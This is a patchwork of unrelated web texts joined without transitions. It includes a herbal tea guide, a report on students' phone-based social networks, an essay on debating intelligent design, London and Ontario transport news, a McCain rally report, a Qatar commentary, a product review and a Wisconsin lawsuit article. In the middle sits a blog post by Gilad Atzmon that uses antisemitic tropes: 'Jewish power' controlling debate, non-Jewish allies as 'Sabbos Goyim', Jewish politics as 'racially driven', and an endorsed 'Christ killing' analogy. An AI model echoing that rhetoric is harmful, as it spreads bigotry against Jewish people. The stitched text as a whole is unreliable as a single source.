condenopsis
astragalus root
Chinese licorice
eucommia
asparagus root
rhodiola root
rehmannia root
fo-ti root
dong quai
mucuna
shatavari
ashwagandha
tulsi leaves
jujube dates
cistanche
5) Herbal Nervines
Herbal nervines are herbs that help to relax the body, pacify the thoughts and soothe the spirit. Their effects may range from mildly calming to strongly sedating. Some are used for muscle tension while others work directly with the central nervous system to lessen anxiety and alleviate depressive moods. Different from conventional sedatives and antidepressants that numb or deaden the nerves, herbal nervines work rather to tonify and nourish the nervous system and its functions.
Some nervines help to reawaken and reconnect the nerve channels, in-affect strengthening the central nervous system so it is more responsive to dealing with pain and stress-related tension. They can be used solely on their own for periods of time, but can also add balance when used in small amounts for herbal tea preparations.
skullcap
hops
valerian root
California poppy
passion flower
chamomile
St Johns wort
lemon balm
6) Herbs and Spices
Herbs and spices are aromatic herbs with a high volatile oil content that produce fragrant aromas and an assortment of pleasant flavors. These types of herbs can be especially beneficial when creating herbal tea blends, adding stimulating effects that help to deliver the medicinal properties of other herbs used. They also provide taste-enhancing qualities that help to uplift the mood and sooth the spirit.
Some of these herbs and spices can additionally have either heating or cooling effects on the body, while others may have strong floral components. They are traditionally used in many commercial tea blends as they offer a delicious well rounded balance to a straight cup of tea. This list of herbs includes mint leaves, cayenne, cinnamon, ginger, lavender, orange peel, clove, lemon grass, fennel and many others.
orange peel
mint
fennel seed
star anise
cardamon pod
cinnamon
lemon grass
lavender
coriander
rose petals
lemon peel
jasmine blossoms
lemon verbena
anise seed
wintergreen
lemon balm
Make an Herbal Tea Pantry
If you are serious tea drinkers like we are, you might want to consider creating an herbal tea pantry by converting a closet or cupboard space. This will give you convenient access to all your supplies when you need them in a rush and makes it easier to utilize what you have when concocting combinations for specific health objectives.
Buying Quality Herbs in Bulk Quantities
It is important to buy top quality organic herbs whenever you can. The fresher and more vibrant they are, the more vitality they offer you when you consume them.
For those of you on a budget, purchasing your herbs in bulk quantities can help you to save money, so you can focus on getting the best possible available. Online company's like Mountain Rose Herbs (our personal favorite), Banyan Botanicals and Starwest Botanicals offer many selections in large amounts.
Wild Harvesting or Growing Herbs
Some of the best herbs are the ones that are harvested fresh from your own garden or wild landscape. We are huge supporters of growing many of these common herbs as well as the more rare species. Strictly Medicinals is a great online company that offers many of the more rare seed and plant starts.
Some of the wild varieties, including nettle, gotu kola, red clover, oatstraw, ginkgo and horsetail, you can harvest for FREE depending on the time of year and the location that you live in.
How to Use Herbal Teas
Of course, a hot cup of herbal tea is quite satisfying all on its own.
We also use teas as the foundation for many drinks, beverages, desserts and soups. They can be used as a substitute for most any liquid ingredient when preparing recipes and are an excellent choice for smoothies, nut milks, raw soups and superfood shakes.
Precautions:
It is a good idea to seek the advice of your health care provider before adding in herbal teas to your daily dietary regimen. This is especially true if you have serious medical conditions or are taking prescription medications that may interact with some herbs.
Regardless of how many Facebook friends a person has, most people maintain only a small number of emotionally intense relationships, says Jari Saramäki of the Aalto University School of Science in Espoo, Finland, a computational scientist who studies social networks. Studies show that these close relationships are vital to our health and well-being. But they do have a cost: time and effort that take away from work, personal time, or other relationships. So individual differences in the number of close ties likely reflect each person's ability to divvy out the finite resources of time, communication, and emotional investment that are required to sustain relationships, scientists say.
Given the importance and difficulty of creating bonds that sustain us, Saramäki and colleagues wanted to know what would happen to the social networks of students as they transitioned from secondary school to university, a period of significant flux. They recruited 24 students ages 17 to 19, half male, half female, and gave each an 18-month contract from a major mobile phone company with 500 free monthly minutes and unlimited texts. All the students lived in the same city in the United Kingdom when the study began; by the end, 10 had left for universities in other parts of England. When given the phones, each student completed a questionnaire listing the names and phone numbers of all their unrelated friends and work and school acquaintances, as well as all their known relatives. Then, they ranked all of those individuals on a 1 to 10 scale of emotional closeness, with 10 signifying someone “with whom you have a deeply personal relationship.”
Each student was asked to fill out the same questionnaire again, 9 months later, and a third time, after 18 months. Higher “emotional closeness” ratings on the surveys paralleled number and duration of calls throughout the study, reassuring the researchers that frequent phone calls were a reasonable indicator of intimacy. By analyzing the students’ phone invoices, the researchers were able to construct a ranking system for each contact based on the frequency and duration of calls.
Although there were high levels of turnover in the names in each individual’s network, the basic characteristics of the network itself—how many people a person called and how much time they spent on the phone with them—remained the same throughout the 18-month period. For example, a person's top three contacts typically got 40% to 50% of the person's calls, the authors report today in the Proceedings of the National Academy of Sciences. Saramäki is careful to note that the study didn’t establish why students rearranged their social lives, but one blunt interpretation is that as subjects' circumstances changed, they didn't pine for their old best friends—they simply replaced them with new ones.
Parents, siblings, and other relatives were least likely to precipitously lose rank or simply fall off the call lists, Saramäki says. “To keep rank, you need to be a relative.” But the striking stability of individual preferences for organizing—and limiting—social interactions suggests to him that each person has their own distinct preference, or perhaps capacity, for maintaining those bonds.
“It would be very nice to see what happens for people of different age groups and social situations” to see if the same pattern persists, Saramäki says. After people leave college, for example, their networks might shrink or “get more and more frozen” as time goes on, he suggests. Saramäki hopes in future research to study larger groups of people over longer periods of time, and to include other forms of communication such as social media.
I am amused that as the Zionist smear campaign against me and my work has faded, the so called Jewish ‘anti’ Zionists, A.K.A AZZ (anti Zionist Zionists), are ever more infuriated by my thoughts. They are desperate to silence me. They don’t have a chance, but, let’s face it, they have some really good reasons.
The recent events in Palestine have proved beyond any doubt my interpretation of Jewish nationalism and Jewish identity politics. It is not a coincidence that I was the only one to predict the Israeli defeat even before the first Israeli soldier entered Gaza. Since Israel defines itself as the Jewish State, its actions and atrocities must be understood within the context of Jewish culture and heritage. This is my line of thought and this is what I am known for.
Leading commentator, Jeff Blankfort, argued recently that the Jewish Left is not the solution, it is actually a continuation of the problem. I believe that the Jewish Left is not merely a continuation of the problem, it is actually at the heart of the problem. Jewish power, as I see it, is the capacity to silence criticism of Jewish power. In that regard, AIPAC and the Jewish Lobby are not ‘Jewish power,’ they are symptoms of Jewish power. The institutional attempt to silence any debate about Jewish power is provided by the Jewish Left and the so called Jewish anti Zionist network (JVP, Mondowiess, Chomsky, Blumenthal, etc.). It is the Jewish Left that attempts to set the boundaries of the discussion and dictates what can and cannot be said.
For instance, we may talk about Zionism and Israel but we must never elaborate on the Jewishness of the Jewish state. Israel defines itself as the Jewish State, it attests to its affinity to Jewish history, and it draws its vile inception from the Old Testament, yet, the Jewish pro Palestinian outlet Mondoweiss, changed its comment policy to ban discussion of Jewish culture in the context of criticizing Israel. To sum it all up, I am not just an anti Zionist, I am actually critical of all forms of Jewish politics, both Zionist and Anti. I contend that all forms of Jewish politics are ethno-centric and to a certain extent, racially driven. And in my latest book The Wandering Who I substantiate this point and yet to see any attempt to prove me wrong.
In the last few days I have came across several attempts to defame me. I am cheered by each of them. I tend to see these attempts as an acknowledgment of the importance of my contribution to the discourse.
Earlier today I read a clumsy diatribe written by Nick Cooper, a Jewish ethnic campaigner as well as a Klezmer artist from Texas. In his article,Why Other Critics of Israel Won’t Work With Gilad Atzmon Anymore, Klezmer Cooper engages in a Dershowitz like cherry-picking exercise but, instead of exposing me, he conveniently provides us with an example of morbid Jewish Left ideology and tactics.
Ali Abunimah Did Ask Me To Lie
Cooper is convinced that my words are too often “defamatory, inaccurate, and self-aggrandizing.” He accuses me of “fabricating” a statement by Ali Abunimah. Cooper quotes a line of mine from an email exchange. “Abunimah,” I wrote, “calls Israelis Zionists because he needs the so called Jewish ‘anti’ Zionists to support his operation. The last time I communicated with Ali Abunimah he wrote to me, ‘Just refer to Zionism instead of Jewish identity and everything would be fine’. He basically asked me to lie.. I obviously refused’…”
If Cooper bothered with even minimal research he would find out that Mr Abunimah admitted that he sent me a message along this exact line. The email is available on Ali Abuimah’s web site:
http://electronicintifada.net/blogs/ali-abunimah/response-recent-efforts-cast-me-racist
From: Ali Abunimah
November 30, 2010 at 5:16 pm
Dear Gilad, I appreciate your note… What you describe as “Jewish” might perhaps be more accurately described as “Zionist,”- and then we might find grounds for a lot of agreement..
Rather than ‘fabricating’ Abunimah’s words, I described his embarrassing non- ethical offer pretty accurately.
Jewish Exclusivity
Klezmer Cooper is correct in claiming that in our correspondence I told him that he wasn’t intelligent enough to grasp the relatively simple argument that Jewish ‘anti’ Zionist organizations are exclusive to Jews. No doubt, Jewish organizations are happy to collect subscription fees from Goyim (gentiles). But can a Goy become the secretary of Jewish Voice for Peace or the spokesperson for the Jewish Anti-Zionist Network? Not really, and why? Is it because the Goyim aren’t racially qualified or is it because they are ethnically unfit for the job? The answer should be embarrassing to the Jewish Left, as it seems even the Israeli Knesset is more tolerant than Western Jewish ‘anti’ Zionist organizations.
Truthfulness
Cooper is also correct that I see “Jewish exclusivity everywhere.” And I further contend that Jewish anti-Zionists are a ‘racially oriented exclusivist culture driven by chosenness.’ But in order to prove me wrong Cooper argues that “Anti-Zionist Jews often have non-Jewish partners.” If Cooper were familiar with Jewish heritage and culture he would know that those ‘partners’ are tagged within the tribal discourse as ‘Sabbos Goyim’- Gentiles who toadie to the every wish and whim of the Jews, especially in politics. Cooper is even kind enough to provide us with a list of his favourite Sabbos Goyim. They are all there at the bottom of his article. Arab sounding names first, English names later, for Sabbos Goyim are set in a hierarchic manner based on the primacy of Jewish interests.
Killing Christ on a daily Basis
Cooper accuses me of racism, but there is one thing he forgets to do; produce a single reference made by me in which I criticize Jews as a race or ethnicity.
“Gilad compared the Israeli attack on the Gaza Freedom Flotilla to the killing of Jesus,” Cooper writes. I did and would do it again! But is this racism? In the last 5 weeks I have interpreted Israeli crimes in Gaza in the light of Christ killing. Is it racist? Not at all! The murder of Christ symbolizes the killing of the innocent. As far as I am aware this is exactly what the Jewish State has done in turning Gaza into a pile or rubble and murdering children, women, elders and medical workers.
But Chirst Killing also embodies the killing of the messenger. Isn’t that exactly what Nick Cooper attempts to do in struggling to silence me in such a transparently deceitful fashion?
Cooper writes, “Invoking the Christ Killer slur invokes past centuries of anti-Jewish racism and violence in Europe and the US.” I would suggest to Cooper and other Hasbara merchants that if Israel were to stop killing innocent people in Palestine in the name of the Jewish people, that would be a very useful tactic in combating the ‘Christ Killer’ slur.
Distortion of truth
Klezmer Cooper writes at the end of his piece, “Several years ago, I collaborated with Gilad Atzmon on the Klezmer Musicians Against the Wall Compilation CD”
This is simply not true. I have never collaborated with Cooper. His playing wasn’t in line with my standards (Cooper owns a drum set). I allowed Cooper to use a few tunes from my parody album “Artie Fishel and The Promised Band” - a comical musical project that mocks Klezmer music and Jewish identity politics, on his Klezmer compilation. Cooper was obviously too dim to grasp that Artie Fishel was a spoof character mocking the Coopers of this world.
Debates are curious events. They masquerade as intellectual contests, but are really just showcases for rhetorical cleverness and public charisma. Richard Nixon is thought to have lost a debate—and the 1960 presidential election—to John Kennedy because he was visibly sweating during one of the first televised debates. In provocative contrast, radio listeners, who couldn’t see what Nixon looked like, thought he had won the debate.
Young-earth creationists and Intelligent Design (ID) advocates love debates. Debates raise the profile of their scientifically discredited anti-evolutionary views, making those positions look viable, just as presidential debates showcase two seemingly viable alternatives. Put a young-earth creationist on stage with an evolutionist, as Ken Ham recently did with Bill Nye, and the world sees a genuine scientific controversy with two sides, not a science versus non-science exchange. This is why virtually every debate about evolution in the past half-century has been hosted by an anti-evolutionary organization, and typically takes place in front of an audience dominated by conservative evangelicals who reject evolution and show up to cheer for “their” guy.
I recently returned from Richmond, Virginia, where I debated Stephen Meyer, head of the Discovery Institute, the heart of the anti-evolutionary intelligent design movement. Meyer is the author of two major anti-evolution books, Signature in the Cell: DNA and the Evidence for Intelligent Design and the recent New York Times bestseller, Darwin’s Doubt: The Explosive Origin of Animal Life the Case for Intelligent Design.
The debate topic was “Should Christians Embrace Darwin?,” a formulation that poses serious problems for proponents of Intelligent Design. They insist that their “Intelligent Designer” is not the God of the Bible—which would make their position religious and keep it forever out of the public schools—but rather is a conventional inference from the same sort of observational evidence as other scientific theories: “Intelligent design is a scientific inference based on empirical evidence,” writes ID advocate John West, “not on religious texts.”
West’s claim is politically expedient. ID has to be secular to succeed. Indeed, ID emerged from the wreckage of creationism when the U.S. Supreme Court declared the latter formally religious and thus forever banned from science classes in the public schools. But ID is not, of course, secular, and would immediately disappear if not for evangelical Christians who underwrite it in the hopes of bringing America back to what they see as its Biblical roots.
ID is only superficially supportive of Christian belief, a point I made in the debate. The natural world is filled with examples of “design,” but much of it is both bad and sinister, and could be used as evidence for a stupid, malevolent “designer.” Design comes in many forms. Pipe bombs, the U.S. Tax Code, and lawnmowers that cut off your toes all have designers with intelligence. These analogies—and ID is based almost entirely on analogies—sever the essential link they need to connect the Christian God to their “designer.” The religious question is not whether nature shows design, but whether nature shows the sort of design we might expect from the God of the Bible.
To make this point, I showed pictures of otherwise healthy humans who had been born with webbed feet and tails. I asked the challenging question: “Why does the human genome contain instructions for the production of features we don’t use?” The scientific explanation is that we inherited these instructions from our tailed ancestors but the instructions for producing them have been shut off in our genomes, which is why Shallow Hal is the only person most people know who has a tail. Sometimes the “ignore these genes” message gets lost in fetal development, however, and babies are born with perfectly formed, even functional tails.
I have no idea how Intelligent Design theorists explain humans with tails. And apparently Stephen Meyer doesn’t either, as he completely ignored this point. In his book, Signature in the Cell, he offers a “prediction” that all such examples of bad design will turn out to be “degenerate forms of originally elegant or beneficial designs” (p. 491). Fitting this notion into any Christian framework would entail—pun intended—endorsing the notion that God created humans to have tails and something went wrong along the way and we lost them. This is essentially the view of young-earth creationism—which ID insists is not its evolutionary ancestor—that attribute every imperfection in nature to Adam and Eve’s fall into sin. And yet the dioramas of Adam and Eve in the Creation Museum do not picture them with tails, for some reason.
I went on to argue that the explanatory deficiencies of ID are overwhelming, extending far beyond bad and sinister design. ID, in fact, has no “theory,” despite its proponents’ claim to the contrary and their propensity to call themselves “theorists.” Meyer’s colleagues at the Discovery Institute are, in fact, quite open about this. I quoted ID theorist Paul Nelson, who wrote: “Easily the biggest challenge facing the ID community is to develop a full-fledged theory of biological design. We don’t have such a theory right now, and that’s a problem … we’ve got a bag of powerful intuitions, and a handful of notions such as ‘irreducible complexity’ and ‘specified complexity’—but, as yet, no general theory of biological design.” The retired Berkeley lawyer, Philip Johnson, considered the founder of ID, made similar comments: “I also don’t think that there is really a theory of intelligent design at the present time to propose as a comparable alternative to the Darwinian theory, which is, whatever errors it might contain, a fully worked-out scheme.”
The absence of a clear and well-articulated theory is disastrous for ID, and excludes it from scientific consideration, because it makes it impossible to put any observations in context as evidence either for or against the theory. I made this rather complex point with a photo of the lake in front of my vacation home. A photo is an “observation,” of course. But a photo is not automatically “evidence.” A theoretical claim that can be tested with a photo must be present before a photo becomes evidence. My photo could be used as evidence, for example, to determine if 1) the water was higher than last week or 2) the winter ice was gone 3) the boat race was on some other lake or 4) if aliens were waterskiing that day. But, until you advance some relevant theoretical claim a photo is just a photo—it is not “evidence.”
The many interesting examples that dominate the ID discussion—the little tail on the bacterium, our eyes or our blood-clotting mechanism, the explosion of new life-forms in the Cambrian period—are just snapshots of things in nature. They are not “evidence” for anything and won’t be until the ID theorists develop a theory of how their “designer” works. Once they provide a well-articulated version of their central claim, we can decide whether or not our eyes—or our tails— support their theory.
I mentioned in the debate that I thought this difficulty—acknowledged as it was by other ID theorists—was the deepest and most interesting challenge facing ID. But Meyer assured me that this is no longer an issue and that they now had a theory, although whatever it is appears to remain a well-kept secret. I objected that, as a physicist with a Ph.D who had studied some real theories—quantum mechanics, classical mechanics, electromagnetism—ID did not remotely resemble any other theory in the natural sciences and was thus hard to see how it might work. The response was that ID was under no obligation to satisfy the expectations of the scientific community for what a theory should look like.
Debates have limitations, of course, not the least of which is a racing clock that rules out the pursuit of many interesting questions. I was hoping that subsequent discussion of the debate might provide opportunity for some of these issues to be addressed. The review of the debate on the ID website, however, is telling.
My presentation—crafted with consideration of my non-specialist audience—was dismissed as a “bunch of pictures—characters from The Simpsons (a cartoon of Homer evolving); a baby with a tail, webbed feet, a strange-looking whale creature with legs (ambulecetus, a well-established and very significant transitional fossil connecting sea mammals to their terrestrial ancestors); and a pretty picture taken at [my] vacation home.” In contrast, my debate partner’s presentation was “sleek, professional, and chock-full of evidence and data.” Like the sweat on Nixon’s brow, my homey images and simple questions apparently destroyed my argument.
And so we see why debates accomplish so little. The Virginia audience left that night having learned little about ID, as Meyer’s presentation was very technical, although anything but “chock full of evidence.” My rather serious claim that ID had no theory and thus no evidence at all was dismissed, not addressed. The ID folk are now assuring their readers that their guy won; my defense of evolution was apparently pitiful: “Where was the new evidence?” the reviewer asks. “Where were the cutting-edge studies supportive of [my] view?” Such questions seem profoundly irrelevant, given that evolution has been an established scientific theory for many decades. The theory is long past needing new evidence and new discoveries are never presented as offering new “evidence” for evolution, any more than new photographs of the earth from space provide “new evidence” for its shape.
I do the occasional debate to remind me what America’s troubled conversation over origins looks like from the “inside.” My debate partner in Virginia was articulate, educated, likable, and familiar with a vast range of relevant scientific research. If important scientific questions—like elections—turned on debate performances ID would fare much better—which is exactly why anti-evolutionists love debates.
Large Chunk Of Overground To Close From June
GOOD NEWS: the Gospel Oak to Barking line is about to get a major upgrade.
BAD NEWS: large parts of the line will be out of action until early 2018.
The Overground route, affectionately abbreviated to the GOBLIN line, is something of an anachronism in London. Its two-car trains still shunt back and forth on diesel. The £133m investment will not only electrify the line, but also double capacity with the introduction of four-car walk-through trains.
Image of an existing two-car train by M@.
The price we have to pay is significant closures to the line, which should look like this:
4 June to 26 September 2016: there will be no rail service whatsoever between South Tottenham and Barking. Services will run from Gospel Oak to South Tottenham during weekdays, but not at weekends.
26 September to sometime in February 2017: the line will be totally closed over its full length, on weekdays and weekends. It will then reopen in early February.
March-June 2017: regular closures at weekends and evenings for testing.
Early 2018: New four-car electric trains enter service.
The conversion of the line requires more engineering work than you might imagine. All the kit needed for electrification must be installed. Tracks will be lowered at several locations, and four bridges must be replaced. Platforms must be extended to allow four-car trains. For a slick overview of the works, watch this Network Rail video.
The closures are obviously going to affect a lot of people. Replacement buses will operate along much of the route, but we all know how annoying they can be.
Those seeking alternative routes may have concerns that they'd have to dip in and out of zone 1, raising the cost of a journey that would normally stick to zones 2, 3 and 4. According to TfL, "regular pay as you go users of the Gospel Oak to Barking line will be automatically refunded the additional cost of travel via zone 1 by tube or rail". That word 'regular' is defined as at least three times a week. More casual than that, and you'll have to pay the full fare — as will travelcard holders.
The answer prompted a shower of boos from the crowd members. They booed again when he mentioned William Ayers, who bombed U.S. facilities to protest the Vietnam War as part of the domestic terrorist group the Weather Underground. They booed again at the mention of Rep. Barney Frank, a liberal from Massachusetts.
McCain spends most of his time at his rallies and town hall meetings lambasting his rival, often calling him a "co-conspirator" with congressional Democrats in what he argues are the seeds of the financial crisis at mortgage giants Fannie Mae and Freddie Mac.
"Will you assure us," one woman asked, "that, as president, you will take immediate action to investigate, prosecute and name the names of the people actually responsible?"
"I will," McCain answered.
"The same people that are now claiming credit for this rescue are the same ones that were willing co-conspirators in causing this problem that it is," he said, raising his voice to be heard over the crowd. "You know their names. You will know more of their names."
The crowds that show up for his rallies these days appear to have little appetite for the talk of bipartisan compromise that had been at the heart of his message around the Republican National Convention. During a rally outside a small airport in Mosinee, Wis., on Thursday, McCain said that "it's time we come together, Democrats and Republicans to work together. That's my record. I'll reach across the aisle."
The crowd stood silent.
At the town hall gathering here, McCain praised Harris for his "courage" in speaking his mind. But, heedful of the economic chaos gripping the country, McCain sought to steer away, at least briefly, from attacks on Obama's character and integrity.
"Yes, I'll do that," he said of the request to "take it to" Obama. "But I also, my friends, want to address the greatest financial challenge of our lifetime with a positive plan for action that Senator Obama and I have. We need to restore hope and trust and confidence in America and have Americans know that our best days are ahead of us. That's the future and strength and beauty of America."
As the crowd filed out, several said they agreed with the man who said he was mad. Others went further.
The days of hitting a bottleneck on Western/Wharncliffe Rd. north of Oxford St. could be coming to an end.
City staff has recommended to council’s civic works committee the city pay a consultant $418,000 for an environmental assessment of a stretch of the road to Platt’s Lane, the first step to widening it from two to four lanes.
About 19,500 vehicles a day head along Western/Wharncliffe Rd. from Oxford to Platts Lane. The corridor also provides a way for pedestrians and cyclists to get to Western University, a staff report heading to committee Monday says.
The project would include turn lanes and the widening of a CPR underpass, with a start date of 2017 and an estimated cost of
$17 million.
“It’s important that we have the ability to move people effectively and efficiently and where we have bottlenecks, we have to tend to them sooner rather than later,” said Ward 13 Coun. Joni Baechler, a member of the civic works committee.
City staff hope the widening will not only improve traffic flow but create pathways and sidewalks for cyclists and pedestrians, connect Grosvenor Lodge physically and visually to the neighbourhood and create another attractive gateway to Western.
The city and university have joined in the recent past to enhance entrances to Western, Baechler noted.
“It’s an international institution and it’s really important that there is a quality urban design that speaks to the quality of the university,” she said.
Committee chair, Ward 12 Coun. Harold Usher, and area representative, Ward 6 Coun. Nancy Branscombe, couldn’t be reached for comment.
The environmental assessment will examine impact of widening and options for road crossings. City staff recommended AECOM, a London firm, get the contract for the environmental assessment.
Is Trump right that putting Qatar in a corner will end terrorism? That’s wishful thinking. Terrorism is not really about money. The better question is, why is this rich-but-wee Persian Gulf monarchy suddenly being pushed into the limelight by Trump? That’s easier to answer.
Trump loves Saudi Arabia, and the Saudis loathe Qatar.
“So good to see the Saudi Arabia visit with the King and 50 countries already paying off,” Trump said in his two-part Twitter message on Tuesday. They said they would take a hard line on funding extremism, and all reference was pointing to Qatar. Perhaps this will be the beginning of the end to the horror of terrorism!”
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Why do the Saudis hate Qatar? Because Qatar fancies itself as a rival to the Saudis as leader of the world of Sunni Islam. Qatar’s monarchy started the satellite news channel Al Jazeera, which instantly made it a major player in the Middle East. It also supports the Muslim Brotherhood, which is the primary expression of modern “political Islam” in the Arab world, and as such is a threat to Saudi hegemony. That dominance is grounded in the Saudis’ own history, geography and, most of all, allegiance to the deeply fundamentalist Wahabi school of Islam. So Qatar was pleased when Egyptian voters elected a Brotherhood government after the Arab Spring. And then the Saudis showered billions in cash upon the military strongman who overthrew the Brotherhood government, Abdul Fattah al-Sisi. (The hands on that glowing orb at the Riyadh convention belonged to Trump, al-Sisi and Saudi King Salman bin Abdulaziz.) Like the Saudis, al-Sisi calls the Brotherhood a “terrorist” organization, though the Brotherhood has historically and officially distanced the organization from terror.
Qatar and Saudi Arabia also compete in Syria. Both are on the side of the rebels, who are overwhelmingly Sunni (while Syrian President Bashar Assad is aligned with Shi’ite Iran), but Qatar favors the Islamic Front, which leaves it vulnerable to the extremist label. Neither side supports ISIS, but ISIS quite likes the Saudis, who have spent billions worldwide promoting a puritanical strain of Islam that the militants are very comfortable with. In fact, after setting up schools, ISIS used Saudi textbooks until they managed to publish their own. In fact, U.S. officials for years have complained that the Saudis, even as they cooperate on the tactical problem of preventing terrorist plots, are one of the main promoters of the intolerance and rigidity that produce Muslim extremism, and terror.
Further complicating the picture: Qatar (pronounced like “cutter’) is a strong military ally of the United States. Trump noted as much when he met with the Emir of Qatar in Riyadh. The Pentagon has 11,000 service members and its largest air base in the Middle East on the stubby peninsula. Qatar is less uptight and xenophobic than the Saudis. Its capital, Doha, has a branch of Georgetown University and the Brookings Institution, plus other educational institutions. In 2022, it will host the World Cup.
In other words, things are not as simple Trump tweets. But then again, they never are.
More and more people are buying homes with pure cash. In December, all-cash purchases accounted for 42.1 percent of all U.S. residential sales, according to the latest report from RealtyTrac, a company that collects and analyzes housing data.
There are a few things driving this. Last summer, interest rates on mortgages jumped sharply. And though rates are still low by historic standards, relatively higher rates make borrowing money a less appealing option.
If you do want a mortgage, you might not be able to get one: Lending standards remain unusually tight, keeping lots of potential buyers out of the market.
Also, big, institutional investors have started buying up lots of homes and renting them out. They accounted for about 20 percent of the all-cash sales in December (and about 8 percent of home sales overall).
We ordered this automatic trash bin because our previous one had "died" from corroded wiring, perhaps due to liquid entering the wiring compartment. Upon its arrival my wife remarked, "It's so short!" and indeed it is 2" shorter than our previous bin. This isn't as disturbing as the fact that the three parts: bin, bag holder and automatic lid top do not fit precisely. The three pieces are slightly proportioned differently, so they do not align. If the parts are "forced together" the trash bin is functional. Since we had saved our previous bin and nothing fitted tightly, we assembled the new automatic lid top with our old bin. This automatic lid top is better designed than our previous "corroded" one with placing the on/off switch on the outside, single battery compartment and interior surface better sealed (presumably will prevent liquid flow into the wiring). We purchased this automatic trash bin because its price is $15 less than previously and the cost is a less perfect trash bin that still functions. Incidentally this automatic lid top also has a port for a power cord connection, which would eliminate the need for 4 D batteries, but at our cost the cord was not included.
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Madison — A conservative group and one of its directors sued a judge and prosecutors Monday in federal court in an attempt to shut down a secret investigation of campaign fundraising and spending in Wisconsin's recent recall elections.
In a filing with the U.S. District Court in Milwaukee, the Wisconsin Club for Growth and the group's treasurer, Eric O'Keefe, argue the probe violates their rights to free speech, free assembly and equal protection under the law.
The civil rights lawsuit asks the court to block prosecutors from continuing the John Doe probe, relieve O'Keefe and the Wisconsin Club for Growth from having to cooperate with it, and order prosecutors to pay them compensatory damages for violating their constitutional rights.
Some of what they are seeking has been blacked out, as have other long sections of the 76-page complaint they filed because of secrecy orders issued in the probe.
"This secret investigation and gag order on conservative activists is intended to stop their political successes in Wisconsin," O'Keefe said in a statement. "The state cannot be allowed to silence political speech it does not like."
The suit before U.S. District Judge Rudolph T. Randa came the same day a state appeals court ordered the unsealing of thousands of documents in a related, earlier investigation of aides to Gov. Scott Walker. Those records are to become available next week.
Named as defendants in Monday's suit are Reserve Judge Gregory A. Peterson, who is overseeing the investigation; special prosecutor Francis Schmitz; Milwaukee County District Attorney John Chisholm; Assistant District Attorney Bruce Landgraf; Assistant District Attorney David Robles; and investigator Dean Nickel.
Chisholm did not return a phone call and Peterson declined comment Monday. Schmitz also declined comment, in part because he said he had not yet seen an uncensored copy of the lawsuit.
The suit portrays the ongoing investigation, as well as the years-long probe that preceded it, as out of control and fueled by political bias. It accuses the prosecutors of engaging in "intimidating behavior and harassment."
It is the second attempt to ask a court to halt the probe. Three unnamed petitioners asked the state Court of Appeals in November to stop the investigationon technical grounds, but the three-judge panel last month unanimously declined to do so.
Allegations of leaking
Sources have said prosecutors are looking at whether groups such as the Wisconsin Club for Growth coordinated illegally with GOP candidates during the 2011 and 2012 recall races. In the most prominent contest, Walker in June 2012 became the first governor in the nation's history to win a recall election.
John Doe probes allow prosecutors to compel people to produce documents and give testimony, as well as bar them from talking publicly about the investigation. They are overseen by judges — in this case primarily by Peterson. Before him, another reserve judge was in charge of the case, and judges in five counties also have had small roles in the probe.
This is the second probe started by Chisholm that focuses on conservatives. The first John Doe investigation, which closed in 2013 after nearly three years, led to criminal convictions of six individuals, including three former Walker aides, an appointee and a major campaign contributor.
O'Keefe's lawsuit contends the initial probe was "begun on pretextual grounds" and "grew into an ongoing audit of the Walker campaigns, allowing prosecutors an inside track to scrutinize actions of Walker staffers as they were taken, despite that they were unrelated to the original purported purpose of the investigation."
It alleges Chisholm has leaked information to embarrass Walker and shape public opinion and says he launched the initial investigation to influence the 2010 election.
"Within three years it had become the basis for a statewide probe into virtually every conservative independent organization involved in Wisconsin politics," writes O'Keefe's attorney, David Rivkin of Washington, D.C.
The Wisconsin Club for Growth "has been sidelined entirely and has ceased all First Amendment protected activity" because of the investigation, according to the lawsuit.
The club nonetheless continues to maintain a website and publish a weekly newsletter critical of President Barack Obama.
The suit notes the club is focused on issue advocacy and does not specifically urge the public to vote for or against particular candidates. That distinction is important in matters of campaign finance law because groups that make such pleas are subject to greater regulation.
But the lawsuit also contends "conservative independent social welfare organizations" like the club contributed to the success of Republicans who took over state government with the November 2010 elections.
Active in five counties
The latest probe, started in September 2012, ran largely quietly until recently, when the unnamed petitioners asked the Court of Appeals to halt the probe. That resulted in filings and the unsealing of investigative documents that showed Attorney General J.B. Van Hollen last year declined a request to lead the probe. They also revealed the probe arose at least in part out of the earlier secret investigation in Milwaukee County; includes five targets; centers on campaign finance laws; and has proceeded with the help of prosecutors from both political parties.
The latest probe has been active in Milwaukee, Dane, Dodge, Iowa and Columbia counties.
While the state Court of Appeals has allowed the investigation to continue, prosecutors face significant challenges. Last month Peterson — the judge overseeing the probe — issued a secret order quashing subpoenas against conservative groups supporting Walker, dealing investigators a setback, sources told the Milwaukee Journal Sentinel.
The Wall Street Journal's opinion page reported last month it had obtained a copy of the ruling and that the judge wrote he was quashing the subpoenas because they "do not show probable cause that the moving parties committed any violations of the campaign finance laws."
The quashed subpoenas were sent to Walker's campaign, business lobbying group Wisconsin Manufacturers & Commerce, the Wisconsin Club for Growth and Citizens for a Strong America, according to the Wall Street Journal.
The paper reported that Peterson rejected the prosecution's theory of illegal coordination between the groups and Walker's campaign. Prosecutors did not show that the groups expressly advocated for Walker's election, the story quotes Peterson as ruling.
Funds running out?
Last week, a lead prosecutor in the case filed paperwork in state court indicating someone with the initials E.S.O. was at the heart of the investigation. Sources confirmed Monday that's a reference to O'Keefe.
In a declaration accompanying Monday's lawsuit, O'Keefe describes his evolution from a libertarian political operative to a conservative activist who has served on the boards of a score of groups.
In addition, O'Keefe described the role of Republican strategist R.J. Johnson as a longtime adviser to the Wisconsin Club for Growth. Johnson is a consultant for both Walker and the club and has hinted he is a focus of the investigation.
Johnson, O'Keefe writes in his declaration, serves "as a vendor who oversaw the creation of (the group's) advertisements and as an adviser as to which organizations (the group) should fund."
O'Keefe writes that Wisconsin Club for Growth has spent down most of its funds and had to cancel fundraising and issue ad campaigns because of the investigation.
"My communication with my national network has dramatically changed, and many people I previously dealt with apparently do not want to email, phone, or meet personally with me about political issues," he writes.
O'Keefe and the group, however, have been able to obtain prominent, high-priced legal counsel to defend against the probe and go on the offensive against investigators. O'Keefe's lead attorney is assisting with the liquidation of Bernie Madoff's investment company, has represented former Defense Secretary Donald Rumsfeld and helped former President George H.W. Bush develop his deregulation plans, according to a biography of Rivkin on his firm's website.
Daniel Bice of the Milwaukee Journal Sentinel staff contributed to this report.
Original Post:
